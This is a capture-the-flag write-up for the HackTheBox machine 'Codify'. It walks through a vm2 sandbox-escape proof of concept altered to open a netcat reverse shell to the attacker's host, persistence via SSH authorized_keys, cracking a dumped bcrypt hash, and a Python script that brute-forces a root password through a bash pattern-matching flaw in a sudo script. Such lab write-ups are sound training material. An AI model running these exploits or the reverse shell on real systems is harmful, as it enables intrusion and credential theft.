Writeup of Codify From HackTheBox
Getting a foothold
For the initial port scan, I use the following nmap command:
nmap -sS -Pn -p- -T5 -oN nmap.txt 10.129.227.190
And receive the following results:
Nmap scan report for 10.129.227.190
Host is up (0.037s latency).
Not shown: 64974 closed tcp ports (reset), 558 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
When checking the About Us page of the website, I noticed that vm2 is explicitly mentioned, so I start my search with this library and the linked version. I quickly find a sandbox escape with PoC on GitHub.
I modify the command part to grant me a reverse shell:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('busybox nc 10.10.14.2 4242 -e sh');
}
`
console.log(vm.run(code));
I use this shell to create the .ssh directory for the svc user and add my public key to authorized_keys file. Now I can log in via ssh.
mkdir ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMUR1PKsnoWhGXQ39TJUG4Uni7OeHrg8mNLwbPAPSFI chris@blackarch' > ~/.ssh/authorized_keys
User Flag
Once logged in I run linpeas and find the resources for another website under /var/www/contact. I dump the SQLite database and find a password hash.
sqlite3 tickets.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
);
INSERT INTO users VALUES(3,'joshua','$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2');
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
INSERT INTO tickets VALUES(1,'Tom Hanks','Need networking modules','I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!','open');
INSERT INTO tickets VALUES(2,'Joe Williams','Local setup?','I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.','open');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',3);
INSERT INTO sqlite_sequence VALUES('tickets',5);
COMMIT;
On my attacking machine is run hashcat to crack the hash and obtain the cleartext password.
hashcat -m 3200 pw.hash rockyou.txt
...
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
Using the password I can now log in as joshua and obtain the user flag.
Root Flag
I try to run sudo -l and see that I am allowed to run /opt/scripts/mysql-backup.sh as root.
Without knowing the password the only part of the script I can interact with is :
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
I have control over the $DB_PASS variable which is used in the condition of the if statement. A double equal sign in a double bracket is no comparison but a pattern matching expression. By appending a * to my password guesses, I can check if the string starts with them. This allows me to bruteforce the password character by character. In order to do this I build the following python script:
import os
import string
command = "sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1"
def bruteForceNextChar(password):
a = os.system("echo '"+password+"' | "+command)
if (a == 0):
print("Found Password: "+password)
exit()
for symbol in string.printable:
a = os.system("echo '"+password+symbol+"* ' | "+command)
if (a == 0):
print(password+symbol)
bruteForceNextChar(password+symbol)
bruteForceNextChar("")
All I have to do now is run the python script and I get the password.
python3 brute.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
Found Password: kljh12k3jhaskjh12kjh3
I now can use the password to log in as root and obtain the root flag.